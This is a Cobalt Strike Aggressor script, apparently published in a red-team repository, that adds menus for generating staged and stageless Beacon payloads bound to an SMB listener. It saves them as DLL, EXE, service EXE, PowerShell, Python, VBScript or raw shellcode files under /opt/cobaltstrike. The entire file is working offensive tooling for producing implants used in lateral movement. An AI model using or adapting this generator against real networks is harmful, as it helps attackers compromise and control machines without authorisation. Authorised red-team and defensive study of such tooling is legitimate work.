SMB Artifact Payload Generator

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Harley Lebeau 2018-10-24 13:20:42 -06:00 committed by GitHub
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SMBPayloadGenerator.cna Normal file
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#SMB Artifact Payload Generator
#Author: @r3dQu1nn
#Generates any type of Stageless/Staged Payload based off a SMB Listener
#Custom Directory for Payloads
mkdir("/opt/cobaltstrike/SMB_Staged_Payloads");
mkdir("/opt/cobaltstrike/SMB_Stageless_Payloads");
menubar("SMB Payload Generator", "payloadgenerator", 2);
popup payloadgenerator {
menu "&SMB Payload Generator" {
item "&SMB Staged Payloads" {
payloadgeneratestaged();
}
item "&SMB Stageless Payloads" {
payloadgeneratestageless();
}
}
}
sub payloadgeneratestaged {
$dialog = dialog("SMB Payload Generator", %(listener => "Listener: ", payload_type => "Payload Type: ", Output => "Output: "), &Staged_Output);
dialog_description($dialog, "Generates a Staged or Stageless SMB Payload based on the selected SMB listener. **Payloads will be stored in /opt/cobaltstrike/SMB_Staged_Payloads**");
drow_listener_smb($dialog, "listener", "Listener: ");
drow_text($dialog, "Name", "Payload Name: ");
drow_combobox($dialog, "payload_type", "Payload Type: ", @("Staged"));
drow_combobox($dialog, "Output", "Output: ", @("dll", "dllx64", "exe", "powershell", "python", "svcexe", "vbscript"));
dbutton_action($dialog, "Generate");
dialog_show($dialog);
}
sub payloadgeneratestageless {
$dialog = dialog("SMB Payload Generator", %(listener => "Listener: ", payload_type => "Payload Type: ", Output => "Output: "), &Stageless_Output);
dialog_description($dialog, "Generates a Staged or Stageless SMB Payload based on the selected SMB listener. **Payloads will be stored in /opt/cobaltstrike/SMB_Stageless_Payloads**");
drow_listener_smb($dialog, "listener", "Listener: ");
drow_text($dialog, "Name", "Payload Name: ");
drow_combobox($dialog, "payload_type", "Payload Type: ", @("Stageless"));
drow_combobox($dialog, "Output", "Output: ", @("dll", "dllx64", "exe", "powershell", "svcexe", "raw"));
dbutton_action($dialog, "Generate");
dialog_show($dialog);
}
sub Staged_Output {
#Error Check
if ($3['Name'] ismatch "") {
berror($1, 'You did not select a proper SMB Listener or Input a Payload Name!');
show_message("Please select a proper SMB Listener and Input a Payload Name!");
}
#Staged Payloads
else if ($3['Output'] eq 'dll') {
$data = artifact($3['listener'], "dll");
$handle = openf(">/opt/cobaltstrike/SMB_Staged_Payloads/". $3['Name'] .".dll");
writeb($handle, $data);
closef($handle);
show_message("Saved SMB DLL at /opt/cobaltstrike/SMB_Staged_Payloads/". $3['Name'] .".dll");
clear($3);
}
else if ($3['Output'] eq 'dllx64') {
$data = artifact($3['listener'], "dllx64");
$handle = openf(">/opt/cobaltstrike/SMB_Staged_Payloads/". $3['Name'] .".dll");
writeb($handle, $data);
closef($handle);
show_message("Saved 64 bit SMB DLL at /opt/cobaltstrike/SMB_Staged_Payloads/". $3['Name'] .".dll");
clear($3);
}
else if ($3['Output'] eq 'exe') {
$data = artifact($3['listener'], "exe");
$handle = openf(">/opt/cobaltstrike/SMB_Staged_Payloads/". $3['Name'] .".exe");
writeb($handle, $data);
closef($handle);
show_message("Saved EXE at /opt/cobaltstrike/SMB_Staged_Payloads/". $3['Name'] .".exe");
clear($3);
}
else if ($3['Output'] eq 'powershell') {
$data = artifact($3['listener'], "powershell");
$handle = openf(">/opt/cobaltstrike/SMB_Staged_Payloads/". $3['Name'] ."");
writeb($handle, $data);
closef($handle);
show_message("Saved Powershell SMB Payload at /opt/cobaltstrike/SMB_Staged_Payloads/". $3['Name'] ."");
clear($3);
}
else if ($3['payload_type'] eq 'Staged' && $3['Output'] eq 'python') {
$data = artifact($3['listener'], "python");
$handle = openf(">/opt/cobaltstrike/SMB_Staged_Payloads/". $3['Name'] .".py");
writeb($handle, $data);
closef($handle);
show_message("Saved Python SMB Payload at /opt/cobaltstrike/SMB_Staged_Payloads/". $3['Name'] .".py");
clear($3);
}
else if ($3['payload_type'] eq 'Staged' && $3['Output'] eq 'svcexe') {
$data = artifact($3['listener'], "svcexe");
$handle = openf(">/opt/cobaltstrike/SMB_Staged_Payloads/". $3['Name'] .".exe");
writeb($handle, $data);
closef($handle);
show_message("Saved SVCEXE at /opt/cobaltstrike/SMB_Staged_Payloads/". $3['Name'] .".exe");
clear($3);
}
else if ($3['payload_type'] eq 'Staged' && $3['Output'] eq 'vbscript') {
$data = artifact($3['listener'], "vbscript");
$handle = openf(">/opt/cobaltstrike/SMB_Staged_Payloads/". $3['Name'] .".vbs");
writeb($handle, $data);
closef($handle);
show_message("Saved vbscript SMB Payload at /opt/cobaltstrike/SMB_Staged_Payloads/". $3['Name'] .".vbs");
clear($3);
}
}
sub Stageless_Output {
if ($3['Name'] ismatch "") {
berror($1, 'You did not select a proper SMB Listener or Input a Payload Name!');
show_message("Please select a proper SMB Listener and Input a Payload Name!");
}
#Stageless Payloads
else if ($3['Output'] eq 'dll') {
artifact_stageless($3['listener'], "dll", "x86", "", &dll);
$Name = "".$3['Name']."";
}
else if ($3['Output'] eq 'dllx64') {
artifact_stageless($3['listener'], "dllx64", "x86", "", &dllx64);
$Name = "".$3['Name']."";
}
else if ($3['Output'] eq 'exe') {
artifact_stageless($3['listener'], "exe", "x86", "", &exe);
$Name = "".$3['Name']."";
}
else if ($3['Output'] eq 'powershell') {
artifact_stageless($3['listener'], "powershell", "x86", "", &ps1);
$Name = "".$3['Name']."";
}
else if ($3['Output'] eq 'raw') {
artifact_stageless($3['listener'], "raw", "x86", "", &raw);
$Name = "".$3['Name']."";
}
else if ($3['Output'] eq 'svcexe') {
artifact_stageless($3['listener'], "svcexe", "x86", "", &svcexe);
$Name = "".$3['Name']."";
}
}
#Sub Functions for Stageless Artifacts
sub dll {
#Write and Save Payload
local('$cradle');
$cradle = openf(">/opt/cobaltstrike/SMB_Stageless_Payloads/". $Name .".dll");
writeb($cradle, $1);
closef($cradle);
show_message("Saved SMB DLL at /opt/cobaltstrike/SMB_Stageless_Payloads/". $Name .".dll");
}
sub dllx64 {
#Write and Save Payload
local('$cradle1');
$cradle1 = openf(">/opt/cobaltstrike/SMB_Stageless_Payloads/". $Name .".dll");
writeb($cradle1, $1);
closef($cradle1);
show_message("Saved 64 bit SMB DLL at /opt/cobaltstrike/SMB_Stageless_Payloads/". $Name .".dll");
}
sub exe {
#Write and Save Payload
local('$cradle2');
$cradle2 = openf(">/opt/cobaltstrike/SMB_Stageless_Payloads/". $Name .".exe");
writeb($cradle2, $1);
closef($cradle2);
show_message("Saved EXE at /opt/cobaltstrike/SMB_Stageless_Payloads/". $Name .".exe");
}
sub ps1 {
#Write and Save Payload
local('$cradle3');
$cradle3 = openf(">/opt/cobaltstrike/SMB_Stageless_Payloads/". $Name ."");
writeb($cradle3, $1);
closef($cradle3);
show_message("Saved Powershell SMB Payload at /opt/cobaltstrike/SMB_Stageless_Payloads/". $Name ."");
}
sub raw {
#Write and Save Payload
local('$cradle4');
$cradle4 = openf(">/opt/cobaltstrike/SMB_Stageless_Payloads/". $Name .".bin");
writeb($cradle4, $1);
closef($cradle4);
show_message("Saved Raw SMB Payload at /opt/cobaltstrike/SMB_Stageless_Payloads/". $Name .".bin");
}
sub svcexe {
#Write and Save Payload
local('$cradle5');
$cradle5 = openf(">/opt/cobaltstrike/SMB_Stageless_Payloads/". $Name .".exe");
writeb($cradle5, $1);
closef($cradle5);
show_message("Saved EXE at /opt/cobaltstrike/SMB_Stageless_Payloads/". $Name .".exe");
}